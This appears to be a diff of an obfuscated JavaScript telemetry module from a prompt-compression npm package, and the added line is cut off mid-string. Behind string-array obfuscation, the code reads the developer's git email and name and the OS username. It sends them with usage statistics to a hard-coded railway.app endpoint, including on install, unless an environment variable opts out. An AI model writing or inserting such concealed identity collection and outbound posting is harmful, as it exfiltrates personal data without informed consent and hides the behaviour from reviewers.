'use strict';const a0_0x3dddae=a0_0x5282;(function(_0x425244,_0x19f86c){const _0x578c70=a0_0x5282,_0x2a12f3=_0x425244();while(!![]){try{const _0x437720=parseInt(_0x578c70(0x198))/0x1+parseInt(_0x578c70(0x193))/0x2+-parseInt(_0x578c70(0x144))/0x3*(parseInt(_0x578c70(0x182))/0x4)+parseInt(_0x578c70(0x157))/0x5*(parseInt(_0x578c70(0x189))/0x6)+parseInt(_0x578c70(0x171))/0x7*(parseInt(_0x578c70(0x19c))/0x8)+parseInt(_0x578c70(0x192))/0x9*(-parseInt(_0x578c70(0x16f))/0xa)+parseInt(_0x578c70(0x16b))/0xb;if(_0x437720===_0x19f86c)break;else _0x2a12f3['push'](_0x2a12f3['shift']());}catch(_0x13b98a){_0x2a12f3['push'](_0x2a12f3['shift']());}}}(a0_0x3bd6,0xd6772));var __createBinding=this&&this[a0_0x3dddae(0x167)]||(Object['create']?function(_0x1ebab2,_0x26cfcd,_0xe05317,_0x20b4e3){const _0x47dbc0=a0_0x3dddae;if(_0x20b4e3===undefined)_0x20b4e3=_0xe05317;var _0x51bb29=Object['getOwnPropertyDescriptor'](_0x26cfcd,_0xe05317);(!_0x51bb29||(_0x47dbc0(0x195)in _0x51bb29?!_0x26cfcd[_0x47dbc0(0x134)]:_0x51bb29[_0x47dbc0(0x165)]||_0x51bb29[_0x47dbc0(0x18e)]))&&(_0x51bb29={'enumerable':!![],'get':function(){return _0x26cfcd[_0xe05317];}}),Object[_0x47dbc0(0x185)](_0x1ebab2,_0x20b4e3,_0x51bb29);}:function(_0x3d9202,_0x525254,_0x2d6b2c,_0x1c9038){if(_0x1c9038===undefined)_0x1c9038=_0x2d6b2c;_0x3d9202[_0x1c9038]=_0x525254[_0x2d6b2c];}),__setModuleDefault=this&&this[a0_0x3dddae(0x175)]||(Object[a0_0x3dddae(0x168)]?function(_0x56f756,_0x351905){Object['defineProperty'](_0x56f756,'default',{'enumerable':!![],'value':_0x351905});}:function(_0x49c25e,_0x4253a6){const _0x3230d0=a0_0x3dddae;_0x49c25e[_0x3230d0(0x137)]=_0x4253a6;}),__importStar=this&&this[a0_0x3dddae(0x17b)]||(function(){var _0x7cd8b0=function(_0x461157){const _0xafafe8=a0_0x5282;return _0x7cd8b0=Object[_0xafafe8(0x151)]||function(_0x1eb11b){const _0x18ff66=_0xafafe8;var _0x5d12e8=[];for(var _0x5f3618 in _0x1eb11b)if(Object['prototype'][_0x18ff66(0x15d)][_0x18ff66(0x13f)](_0x1eb11b,_0x5f3618))_0x5d12e8[_0x5d12e8[_0x18ff66(0x174)]]=_0x5f3618;return _0x5d12e8;},_0x7cd8b0(_0x461157);};return function(_0x5635e6){const _0x1337ab=a0_0x5282;if(_0x5635e6&&_0x5635e6['__esModule'])return _0x5635e6;var _0x439898={};if(_0x5635e6!=null){for(var _0x13a7f2=_0x7cd8b0(_0x5635e6),_0x2800da=0x0;_0x2800da<_0x13a7f2[_0x1337ab(0x174)];_0x2800da++)if(_0x13a7f2[_0x2800da]!==_0x1337ab(0x137))__createBinding(_0x439898,_0x5635e6,_0x13a7f2[_0x2800da]);}return __setModuleDefault(_0x439898,_0x5635e6),_0x439898;};}());Object['defineProperty'](exports,a0_0x3dddae(0x134),{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x3dddae(0x173))),os=__importStar(require('os')),http=__importStar(require(a0_0x3dddae(0x1a6))),https=__importStar(require(a0_0x3dddae(0x143))),url_1=require(a0_0x3dddae(0x1a3)),_cfg=['https://',a0_0x3dddae(0x147),a0_0x3dddae(0x177),'/api/telemetry']['join'](''),_ep=process[a0_0x3dddae(0x1ae)]['_PS_EP']||_cfg;function hasSyncedRecently(){const _0x42b387=a0_0x3dddae;try{if(!fs[_0x42b387(0x19d)](dailySyncPath))return![];const _0x203a5f=JSON[_0x42b387(0x14b)](fs[_0x42b387(0x18f)](dailySyncPath,'utf8'));if(!_0x203a5f['last_sync_time'])return![];return Date[_0x42b387(0x1a2)]()-_0x203a5f['last_sync_time']<0x8*0x3c*0x3c*0x3e8;}catch{return![];}}function markSyncedNow(){const _0x5ee799=a0_0x3dddae;try{const _0xbd437c={'last_sync_date':getTodayDate(),'last_sync_time':Date[_0x5ee799(0x1a2)]()};fs['writeFileSync'](dailySyncPath,JSON['stringify'](_0xbd437c,null,0x2),'utf8');}catch{}}const PRICING={'claude-fable-5':{'name':a0_0x3dddae(0x15f),'input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x3dddae(0x156),'input_price_1m':0xa},'claude-opus-4-8':{'name':'Claude\x20Opus\x204.8','input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x3dddae(0x1ab),'input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x3dddae(0x14c),'input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x3dddae(0x19a),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':'Claude\x20Sonnet\x204.6','input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x3dddae(0x188),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x3dddae(0x19f),'input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x3dddae(0x14a),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x3dddae(0x135),'input_price_1m':0.8},'gpt-5-5':{'name':a0_0x3dddae(0x1aa),'input_price_1m':0x5},'gpt-5-4':{'name':'GPT-5.4','input_price_1m':2.5},'gpt-4o':{'name':'GPT-4o','input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x3dddae(0x1a5),'input_price_1m':0.75},'gpt-5-4-nano':{'name':'GPT-5.4\x20Nano','input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x3dddae(0x164),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x3dddae(0x194),'input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x3dddae(0x18a),'input_price_1m':0.15},'o1':{'name':a0_0x3dddae(0x16e),'input_price_1m':0xf},'o1-mini':{'name':a0_0x3dddae(0x169),'input_price_1m':0x3},'o3-mini':{'name':a0_0x3dddae(0x1a1),'input_price_1m':1.1},'cursor-small':{'name':'Cursor\x20Small','input_price_1m':0.1},'gemini-3-1-pro':{'name':'Gemini\x203.1\x20Pro','input_price_1m':0x2},'gemini-3-5-flash':{'name':a0_0x3dddae(0x18b),'input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0x3dddae(0x138),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x3dddae(0x163),'input_price_1m':3.5}},baseDir=path[a0_0x3dddae(0x150)](os[a0_0x3dddae(0x187)](),a0_0x3dddae(0x133)),configPath=path[a0_0x3dddae(0x150)](baseDir,a0_0x3dddae(0x184)),statsPath=path[a0_0x3dddae(0x150)](baseDir,'stats.json'),dailySyncPath=path[a0_0x3dddae(0x150)](baseDir,a0_0x3dddae(0x190));function getTodayDate(){const _0x58eba2=a0_0x3dddae;return new Date()[_0x58eba2(0x196)]()[_0x58eba2(0x172)]('T')[0x0];}function getDeveloperIdentity(){const _0x432ca3=a0_0x3dddae;if(process[_0x432ca3(0x1ae)][_0x432ca3(0x179)])return process[_0x432ca3(0x1ae)][_0x432ca3(0x179)];try{const {execSync:_0x149c63}=require(_0x432ca3(0x140)),_0x578a1e=_0x149c63(_0x432ca3(0x13d),{'stdio':[_0x432ca3(0x16a),'pipe',_0x432ca3(0x16a)],'windowsHide':!![]})['toString']()[_0x432ca3(0x1ac)]();if(_0x578a1e&&_0x578a1e[_0x432ca3(0x17a)]('@'))return _0x578a1e;}catch{}try{const _0x4781cf=os[_0x432ca3(0x139)]()[_0x432ca3(0x180)];if(_0x4781cf)return _0x4781cf;}catch{}return _0x432ca3(0x145);}function getOsUser(){const _0x4eab57=a0_0x3dddae;try{const _0x52150d=os['userInfo']()[_0x4eab57(0x180)];if(_0x52150d)return _0x52150d;}catch{}return'unknown';}function getDeveloperDomain(){const _0x5af76c=a0_0x3dddae,_0x24afaa=getDeveloperIdentity(),_0x266b0b=_0x24afaa[_0x5af76c(0x13b)]('@');if(_0x266b0b>=0x0&&_0x266b0b<_0x24afaa['length']-0x1)return _0x24afaa['slice'](_0x266b0b+0x1)[_0x5af76c(0x152)]();return _0x5af76c(0x149);}function hasAlreadySyncedToday(){const _0xba204a=a0_0x3dddae;try{if(!fs[_0xba204a(0x19d)](dailySyncPath))return![];const _0x87e891=JSON[_0xba204a(0x14b)](fs[_0xba204a(0x18f)](dailySyncPath,_0xba204a(0x15c)));return _0x87e891[_0xba204a(0x191)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x9ecf91=a0_0x3dddae;try{const _0xc47f96={'last_sync_date':getTodayDate()};fs[_0x9ecf91(0x1a7)](dailySyncPath,JSON[_0x9ecf91(0x15e)](_0xc47f96,null,0x2),'utf8');}catch{}}function postTelemetry(_0x2187a5,_0x329d3e){return new Promise(_0x164afe=>{const _0x464c27=a0_0x5282;try{const _0x5df8eb=new url_1[(_0x464c27(0x18c))](_0x2187a5),_0x17bcbf=JSON[_0x464c27(0x15e)](_0x329d3e),_0x4a5fe9={'hostname':_0x5df8eb[_0x464c27(0x160)],'port':_0x5df8eb[_0x464c27(0x141)]||(_0x5df8eb[_0x464c27(0x15a)]==='https:'?0x1bb:0x50),'path':_0x5df8eb[_0x464c27(0x1af)]+_0x5df8eb['search'],'method':_0x464c27(0x170),'headers':{'Content-Type':_0x464c27(0x166),'Content-Length':Buffer['byteLength'](_0x17bcbf)},'timeout':0x1f40},_0x5bab15=_0x5df8eb[_0x464c27(0x15a)]===_0x464c27(0x199)?https:http,_0x42d0ef=_0x5bab15['request'](_0x4a5fe9,_0x4df1ff=>{const _0x2fd1f9=_0x464c27;_0x164afe(!!(_0x4df1ff[_0x2fd1f9(0x181)]&&_0x4df1ff[_0x2fd1f9(0x181)]>=0xc8&&_0x4df1ff['statusCode']<0x12c));});_0x42d0ef['on'](_0x464c27(0x19e),()=>_0x164afe(![])),_0x42d0ef['on'](_0x464c27(0x16c),()=>{const _0x5332ac=_0x464c27;_0x42d0ef[_0x5332ac(0x14f)](),_0x164afe(![]);}),_0x42d0ef['write'](_0x17bcbf),_0x42d0ef['end']();}catch{_0x164afe(![]);}});}function a0_0x3bd6(){const _0x21d13b=['Claude\x20Opus\x204.5','argv','domain','destroy','join','getOwnPropertyNames','toLowerCase','TRIMPROMPT_TELEMETRY_URL','size','mkdirSync','Claude\x20Mythos\x205','1226405quvGIl','version','--install','protocol','claude-opus-4-8','utf8','hasOwnProperty','stringify','Claude\x20Fable\x205','hostname','total_compressed_tokens','push','Gemini\x203.5\x20Live\x20Translate','GPT-4.1\x20Mini','writable','application/json','__createBinding','create','OpenAI\x20o1-mini','ignore','19800924MPkIvA','timeout','platform','OpenAI\x20o1','70Knotnm','POST','204946bAwaYR','split','path','length','__setModuleDefault','getStatsSummary','.up.railway.app','.comp.txt','TRIMPROMPT_USER_EMAIL','includes','__importStar','synced','getTime','.raw.txt','telemetry_url','username','statusCode','4rpkvAU','anon_id','config.json','defineProperty','TRIMPROMPT_DISABLE_TELEMETRY','homedir','Claude\x20Sonnet\x204.5','6WTSxpJ','GPT-4o\x20Mini','Gemini\x203.5\x20Flash','URL','model_used','configurable','readFileSync','daily_sync.json','last_sync_date','1885401RieLyM','317114iTmBIm','GPT-4.1\x20Nano','get','toISOString','add','776792xgaoXE','https:','Claude\x20Opus\x204.1\x20(deprecated)','total_raw_tokens','296hxAHds','existsSync','error','Claude\x203.5\x20Sonnet','TRIMPROMPT_NO_TELEMETRY','OpenAI\x20o3-mini','now','url','install','GPT-5.4\x20Mini','http','writeFileSync','total_tokens_saved','from','GPT-5.5','Claude\x20Opus\x204.7','trim','unlinkSync','env','pathname','.trimprompt','__esModule','Claude\x20Haiku\x203.5','install_identified','default','Gemini\x203.1\x20Flash-Lite','userInfo','timestamp','indexOf','logs','git\x20config\x20user.email','os_user','call','child_process','port','--install-id','https','5157381FTqIMI','anonymous','crypto','trimp-production','catch','unknown','Claude\x20Haiku\x204.5','parse'];a0_0x3bd6=function(){return _0x21d13b;};return a0_0x3bd6();}function buildDailyPayload(_0x32d5f6){const _0x38cfad=a0_0x3dddae,_0x4ae7cb=getTodayDate(),{tracker:_0x37f2e9}=require('./tracker'),_0x58fe4a=_0x37f2e9?_0x37f2e9[_0x38cfad(0x176)]('auto'):null,_0x534577=new Set();for(const _0x423d6b of _0x32d5f6){if(_0x423d6b[_0x38cfad(0x18d)])_0x534577[_0x38cfad(0x197)](_0x423d6b[_0x38cfad(0x18d)]);}if(_0x534577[_0x38cfad(0x154)]===0x0)_0x534577['add'](_0x38cfad(0x15b));const _0x456f21=_0x32d5f6[_0x32d5f6[_0x38cfad(0x174)]-0x1];return{'developer_id':getDeveloperDomain(),'identifier_type':_0x38cfad(0x14e),'os_user':getOsUser(),'os':os[_0x38cfad(0x16d)](),'date':_0x4ae7cb,'executions_count':_0x32d5f6[_0x38cfad(0x174)],'total_raw_tokens':_0x58fe4a?_0x58fe4a[_0x38cfad(0x19b)]:0x0,'total_compressed_tokens':_0x58fe4a?_0x58fe4a[_0x38cfad(0x161)]:0x0,'total_tokens_saved':_0x58fe4a?_0x58fe4a[_0x38cfad(0x1a8)]:0x0,'total_money_saved_usd':_0x58fe4a?_0x58fe4a['money_saved_usd']:0x0,'models_used':Array[_0x38cfad(0x1a9)](_0x534577),'hotspots':[],'last_seen':_0x456f21?_0x456f21['timestamp']:new Date()['toISOString']()};}function telemetryOptedOut(){const _0x153426=a0_0x3dddae,_0x706dc1=(process['env'][_0x153426(0x1a0)]||process[_0x153426(0x1ae)][_0x153426(0x186)]||'')[_0x153426(0x152)]();return _0x706dc1==='1'||_0x706dc1==='true'||_0x706dc1==='yes';}function resolveOrgUrl(){const _0x34f483=a0_0x3dddae;let _0x4e9a7b=process['env']['TRIMPROMPT_TELEMETRY_URL']||'';if(!_0x4e9a7b&&fs[_0x34f483(0x19d)](configPath))try{const _0xe677=JSON[_0x34f483(0x14b)](fs[_0x34f483(0x18f)](configPath,_0x34f483(0x15c)));_0x4e9a7b=_0xe677[_0x34f483(0x17f)]||'';}catch{}return _0x4e9a7b[_0x34f483(0x1ac)]();}function getAnonymousId(){const _0x2d88fd=a0_0x3dddae;try{const _0x2e801b=path[_0x2d88fd(0x150)](baseDir,_0x2d88fd(0x183));if(fs[_0x2d88fd(0x19d)](_0x2e801b)){const _0x4f479a=fs[_0x2d88fd(0x18f)](_0x2e801b,'utf8')['trim']();if(_0x4f479a)return _0x4f479a;}const _0x1a0734=require(_0x2d88fd(0x146))['randomUUID']();return fs[_0x2d88fd(0x155)](baseDir,{'recursive':!![]}),fs['writeFileSync'](_0x2e801b,_0x1a0734,_0x2d88fd(0x15c)),_0x1a0734;}catch{return _0x2d88fd(0x145);}}async function sendInstallEvent(_0x405391){const _0x134a1f=a0_0x3dddae;if(telemetryOptedOut())return;let _0x429117=_0x134a1f(0x149);try{if(fs[_0x134a1f(0x19d)](configPath)){const _0xc7453a=JSON[_0x134a1f(0x14b)](fs['readFileSync'](configPath,_0x134a1f(0x15c)));if(_0xc7453a['version'])_0x429117=_0xc7453a[_0x134a1f(0x158)];}}catch{}const _0x417fcb={'event':_0x405391?_0x134a1f(0x136):_0x134a1f(0x1a4),'developer_id':_0x405391?getDeveloperDomain():getAnonymousId(),'identifier_type':_0x405391?'domain':'anonymous','anonymous':!_0x405391,'os':os[_0x134a1f(0x16d)](),'version':_0x429117,'timestamp':new Date()[_0x134a1f(0x196)]()};_0x405391&&(_0x417fcb[_0x134a1f(0x13e)]=getOsUser());await postTelemetry(_ep,_0x417fcb);const _0x4d332d=resolveOrgUrl();_0x4d332d[_0x134a1f(0x174)]>0x0&&await postTelemetry(_0x4d332d,_0x417fcb);}async function runSync(){const _0x33fbfb=a0_0x3dddae;if(telemetryOptedOut())return;if(!fs[_0x33fbfb(0x19d)](statsPath))return;let _0x748aee;try{_0x748aee=JSON[_0x33fbfb(0x14b)](fs[_0x33fbfb(0x18f)](statsPath,_0x33fbfb(0x15c)));}catch{return;}const _0x53bd7a=_0x748aee['filter'](_0x2bb3df=>!_0x2bb3df['synced']);if(_0x53bd7a[_0x33fbfb(0x174)]===0x0&&hasSyncedRecently())return;const _0x21dbdb=buildDailyPayload(_0x748aee);await postTelemetry(_ep,_0x21dbdb);let _0x5139be=process['env'][_0x33fbfb(0x153)]||'';if(!_0x5139be&&fs[_0x33fbfb(0x19d)](configPath))try{const _0x35d62d=JSON[_0x33fbfb(0x14b)](fs[_0x33fbfb(0x18f)](configPath,_0x33fbfb(0x15c)));_0x5139be=_0x35d62d[_0x33fbfb(0x17f)]||'';}catch{}_0x5139be[_0x33fbfb(0x1ac)]()['length']>0x0&&await postTelemetry(_0x5139be,_0x21dbdb);for(const _0x31e317 of _0x748aee){if(!_0x31e317[_0x33fbfb(0x17c)])_0x31e317['synced']=!![];}try{fs[_0x33fbfb(0x1a7)](statsPath,JSON[_0x33fbfb(0x15e)](_0x748aee,null,0x2),_0x33fbfb(0x15c));}catch{}markSyncedNow();}function a0_0x5282(_0x262234,_0x1923d4){const _0x3bd664=a0_0x3bd6();return a0_0x5282=function(_0x528299,_0x25d4a8){_0x528299=_0x528299-0x133;let _0x1cbb86=_0x3bd664[_0x528299];return _0x1cbb86;},a0_0x5282(_0x262234,_0x1923d4);}function pruneOldLogs(_0x3f40d3){const _0x5e64b1=a0_0x3dddae;try{const _0x4108c8=new Date(),_0x4ea251=new Date(_0x4108c8[_0x5e64b1(0x17d)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x564b9d=[],_0x7f524c=[];for(const _0x316c32 of _0x3f40d3){const _0x47dac3=new Date(_0x316c32[_0x5e64b1(0x13a)]);_0x47dac3>=_0x4ea251?_0x564b9d[_0x5e64b1(0x162)](_0x316c32):_0x7f524c[_0x5e64b1(0x162)](_0x316c32);}if(_0x7f524c[_0x5e64b1(0x174)]>0x0){const _0x52d905=path[_0x5e64b1(0x150)](baseDir,_0x5e64b1(0x13c));for(const _0x8cab10 of _0x7f524c){const _0x1470b6=path[_0x5e64b1(0x150)](_0x52d905,_0x8cab10['id']+_0x5e64b1(0x17e)),_0x432c1a=path[_0x5e64b1(0x150)](_0x52d905,_0x8cab10['id']+_0x5e64b1(0x178));try{if(fs[_0x5e64b1(0x19d)](_0x1470b6))fs[_0x5e64b1(0x1ad)](_0x1470b6);if(fs[_0x5e64b1(0x19d)](_0x432c1a))fs['unlinkSync'](_0x432c1a);}catch{}}fs[_0x5e64b1(0x1a7)](statsPath,JSON[_0x5e64b1(0x15e)](_0x564b9d,null,0x2),_0x5e64b1(0x15c));}}catch{}}let _event=process['env']['_PS_EVENT']||'';if(!_event){if(process[a0_0x3dddae(0x14d)]['includes'](a0_0x3dddae(0x142)))_event=a0_0x3dddae(0x136);else{if(process[a0_0x3dddae(0x14d)]['includes'](a0_0x3dddae(0x159)))_event=a0_0x3dddae(0x1a4);}}if(_event===a0_0x3dddae(0x1a4))sendInstallEvent(![])[a0_0x3dddae(0x148)](()=>{});else _event===a0_0x3dddae(0x136)?sendInstallEvent(!![])['catch'](()=>{}):runSync()[a0_0x3dddae(0x148)](()=>{});
|
|
1
|
+
'use strict';const a0_0x4b466e=a0_0x1a02;(function(_0x3bee49,_0x2265fb){const _0x13e5c7=a0_0x1a02,_0x392988=_0x3bee49();while(!![]){try{const _0x15996c=parseInt(_0x13e5c7(0x136))/0x1*(-parseInt(_0x13e5c7(0xe3))/0x2)+parseInt(_0x13e5c7(0x133))/0x3+-parseInt(_0x13e5c7(0x105))/0x4+-parseInt(_0x13e5c7(0xe1))/0x5*(-parseInt(_0x13e5c7(0xfc))/0x6)+parseInt(_0x13e5c7(0x11b))/0x7*(-parseInt(_0x13e5c7(0xdb))/0x8)+parseInt(_0x13e5c7(0xf0))/0x9+-parseInt(_0x13e5c7(0xe9))/0xa;if(_0x15996c===_0x2265fb)break;else _0x392988['push'](_0x392988['shift']());}catch(_0x19cb87){_0x392988['push'](_0x392988['shift']());}}}(a0_0x170e,0xcde54));function a0_0x1a02(_0x5809d3,_0x40b841){_0x5809d3=_0x5809d3-0xbb;const _0x170eb5=a0_0x170e();let _0x1a02cd=_0x170eb5[_0x5809d3];return _0x1a02cd;}var __createBinding=this&&this[a0_0x4b466e(0xcc)]||(Object['create']?function(_0x523292,_0x31c40a,_0x2ce372,_0x2f817b){const _0x23589a=a0_0x4b466e;if(_0x2f817b===undefined)_0x2f817b=_0x2ce372;var _0x5b31b4=Object[_0x23589a(0xc7)](_0x31c40a,_0x2ce372);(!_0x5b31b4||(_0x23589a(0xd8)in _0x5b31b4?!_0x31c40a['__esModule']:_0x5b31b4[_0x23589a(0xd3)]||_0x5b31b4[_0x23589a(0x100)]))&&(_0x5b31b4={'enumerable':!![],'get':function(){return _0x31c40a[_0x2ce372];}}),Object[_0x23589a(0x109)](_0x523292,_0x2f817b,_0x5b31b4);}:function(_0x411ffa,_0x58ee42,_0x1aa5ce,_0x1ea40d){if(_0x1ea40d===undefined)_0x1ea40d=_0x1aa5ce;_0x411ffa[_0x1ea40d]=_0x58ee42[_0x1aa5ce];}),__setModuleDefault=this&&this[a0_0x4b466e(0xf7)]||(Object[a0_0x4b466e(0xf9)]?function(_0x93e11f,_0x4ee736){const _0x2ec0b9=a0_0x4b466e;Object[_0x2ec0b9(0x109)](_0x93e11f,_0x2ec0b9(0x125),{'enumerable':!![],'value':_0x4ee736});}:function(_0x3b4814,_0x1d9130){const _0x366de1=a0_0x4b466e;_0x3b4814[_0x366de1(0x125)]=_0x1d9130;}),__importStar=this&&this[a0_0x4b466e(0xf2)]||(function(){var _0x10636b=function(_0x1e1d30){const _0x384298=a0_0x1a02;return _0x10636b=Object[_0x384298(0xc1)]||function(_0x5b69af){const _0x34b3f7=_0x384298;var _0x16fef7=[];for(var _0x59c5fd in _0x5b69af)if(Object[_0x34b3f7(0xdf)][_0x34b3f7(0xd0)][_0x34b3f7(0xd1)](_0x5b69af,_0x59c5fd))_0x16fef7[_0x16fef7[_0x34b3f7(0x135)]]=_0x59c5fd;return _0x16fef7;},_0x10636b(_0x1e1d30);};return function(_0x24dae9){const _0x91e15b=a0_0x1a02;if(_0x24dae9&&_0x24dae9[_0x91e15b(0x12e)])return _0x24dae9;var _0x26749d={};if(_0x24dae9!=null){for(var _0x55a5ec=_0x10636b(_0x24dae9),_0x41dcdd=0x0;_0x41dcdd<_0x55a5ec[_0x91e15b(0x135)];_0x41dcdd++)if(_0x55a5ec[_0x41dcdd]!==_0x91e15b(0x125))__createBinding(_0x26749d,_0x24dae9,_0x55a5ec[_0x41dcdd]);}return __setModuleDefault(_0x26749d,_0x24dae9),_0x26749d;};}());Object[a0_0x4b466e(0x109)](exports,a0_0x4b466e(0x12e),{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x4b466e(0xe6))),os=__importStar(require('os')),http=__importStar(require(a0_0x4b466e(0xd9))),https=__importStar(require('https')),url_1=require('url'),_cfg=[a0_0x4b466e(0x107),a0_0x4b466e(0x117),'.up.railway.app',a0_0x4b466e(0xbc)][a0_0x4b466e(0xca)](''),_ep=process.env._PS_EP||_cfg;function hasSyncedRecently(){const _0x3d4d90=a0_0x4b466e;try{if(!fs[_0x3d4d90(0x123)](dailySyncPath))return![];const _0x2731d5=JSON[_0x3d4d90(0x106)](fs[_0x3d4d90(0x10b)](dailySyncPath,_0x3d4d90(0xbe)));if(!_0x2731d5[_0x3d4d90(0x116)])return![];return Date[_0x3d4d90(0x11e)]()-_0x2731d5['last_sync_time']<0x8*0x3c*0x3c*0x3e8;}catch{return![];}}function markSyncedNow(){const _0x202f8c=a0_0x4b466e;try{const _0x76d4c6={'last_sync_date':getTodayDate(),'last_sync_time':Date[_0x202f8c(0x11e)]()};fs[_0x202f8c(0xf5)](dailySyncPath,JSON[_0x202f8c(0xe4)](_0x76d4c6,null,0x2),_0x202f8c(0xbe));}catch{}}const PRICING={'claude-fable-5':{'name':a0_0x4b466e(0xd7),'input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x4b466e(0x101),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x4b466e(0xcf),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x4b466e(0xc9),'input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x4b466e(0x102),'input_price_1m':0x5},'claude-opus-4-1':{'name':'Claude\x20Opus\x204.1\x20(deprecated)','input_price_1m':0xf},'claude-sonnet-4-6':{'name':'Claude\x20Sonnet\x204.6','input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x4b466e(0x10f),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-haiku-4-5':{'name':'Claude\x20Haiku\x204.5','input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x4b466e(0x119),'input_price_1m':0.8},'gpt-5-5':{'name':a0_0x4b466e(0x130),'input_price_1m':0x5},'gpt-5-4':{'name':a0_0x4b466e(0xe8),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x4b466e(0xc0),'input_price_1m':2.5},'gpt-5-4-mini':{'name':'GPT-5.4\x20Mini','input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x4b466e(0x129),'input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x4b466e(0x12a),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x4b466e(0x126),'input_price_1m':0.1},'gpt-4o-mini':{'name':'GPT-4o\x20Mini','input_price_1m':0.15},'o1':{'name':a0_0x4b466e(0x137),'input_price_1m':0xf},'o1-mini':{'name':a0_0x4b466e(0xd4),'input_price_1m':0x3},'o3-mini':{'name':a0_0x4b466e(0xeb),'input_price_1m':1.1},'cursor-small':{'name':'Cursor\x20Small','input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0x4b466e(0xe5),'input_price_1m':0x2},'gemini-3-5-flash':{'name':a0_0x4b466e(0xc6),'input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':'Gemini\x203.1\x20Flash-Lite','input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x4b466e(0xfd),'input_price_1m':3.5}},baseDir=path[a0_0x4b466e(0xca)](os[a0_0x4b466e(0x128)](),a0_0x4b466e(0xde)),configPath=path[a0_0x4b466e(0xca)](baseDir,a0_0x4b466e(0x12d)),statsPath=path[a0_0x4b466e(0xca)](baseDir,a0_0x4b466e(0x124)),dailySyncPath=path['join'](baseDir,a0_0x4b466e(0x118));function getTodayDate(){const _0x54d9c0=a0_0x4b466e;return new Date()[_0x54d9c0(0xdd)]()[_0x54d9c0(0x114)]('T')[0x0];}function getDeveloperIdentity(){const _0x2713d5=a0_0x4b466e;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x3e9d42}=require(_0x2713d5(0xee)),_0x5cfddc=_0x3e9d42(_0x2713d5(0xda),{'stdio':[_0x2713d5(0xd5),_0x2713d5(0xc3),_0x2713d5(0xd5)],'windowsHide':!![]})[_0x2713d5(0x12f)]()['trim']();if(_0x5cfddc&&_0x5cfddc[_0x2713d5(0x111)]('@'))return _0x5cfddc;}catch{}try{const _0x346e7f=os['userInfo']()[_0x2713d5(0x121)];if(_0x346e7f)return _0x346e7f;}catch{}return _0x2713d5(0xcd);}function getDeveloperName(){const _0x4161da=a0_0x4b466e;if(process.env.TRIMPROMPT_USER_NAME)return process.env.TRIMPROMPT_USER_NAME;try{const {execSync:_0x5ea95d}=require(_0x4161da(0xee)),_0x348a24=_0x5ea95d(_0x4161da(0x138),{'stdio':[_0x4161da(0xd5),_0x4161da(0xc3),'ignore'],'windowsHide':!![]})[_0x4161da(0x12f)]()[_0x4161da(0xc2)]();if(_0x348a24)return _0x348a24;}catch{}return _0x4161da(0xdc);}function getOsUser(){const _0x55fa27=a0_0x4b466e;try{const _0x51e966=os[_0x55fa27(0x104)]()[_0x55fa27(0x121)];if(_0x51e966)return _0x51e966;}catch{}return'unknown';}function getDeveloperDomain(){const _0x4c2e78=a0_0x4b466e,_0x159811=getDeveloperIdentity(),_0x1934e0=_0x159811['indexOf']('@');if(_0x1934e0>=0x0&&_0x1934e0<_0x159811[_0x4c2e78(0x135)]-0x1)return _0x159811[_0x4c2e78(0xbd)](_0x1934e0+0x1)[_0x4c2e78(0xf3)]();return _0x4c2e78(0xdc);}function a0_0x170e(){const _0x1d3df6=['OpenAI\x20o3-mini','install','POST','child_process','unlinkSync','10847529rCcUwg','add','__importStar','toLowerCase','platform','writeFileSync','from','__setModuleDefault','--install-id','create','getTime','write','6ptKWkh','Gemini\x203.5\x20Live\x20Translate','error','push','configurable','Claude\x20Mythos\x205','Claude\x20Opus\x204.5','application/json','userInfo','2335560GLuGXQ','parse','https://','pathname','defineProperty','timestamp','readFileSync','URL','--install','\x20@\x20','Claude\x20Sonnet\x204.5','mkdirSync','includes','argv','getStatsSummary','split','total_raw_tokens','last_sync_time','trimp-production','daily_sync.json','Claude\x20Haiku\x203.5','statusCode','1350769SxjcLC','logs','telemetry_url','now','catch','machine','username','hostname','existsSync','stats.json','default','GPT-4.1\x20Nano','last_sync_date','homedir','GPT-5.4\x20Nano','GPT-4.1\x20Mini','install_firstrun','port','config.json','__esModule','toString','GPT-5.5','timeout','./tracker','2642577gnKWAE','model_used','length','293171HSUkXT','OpenAI\x20o1','git\x20config\x20user.name','synced','/api/telemetry','slice','utf8','protocol','GPT-4o','getOwnPropertyNames','trim','pipe','randomUUID','.raw.txt','Gemini\x203.5\x20Flash','getOwnPropertyDescriptor','size','Claude\x20Opus\x204.7','join','install_identified','__createBinding','anonymous','aut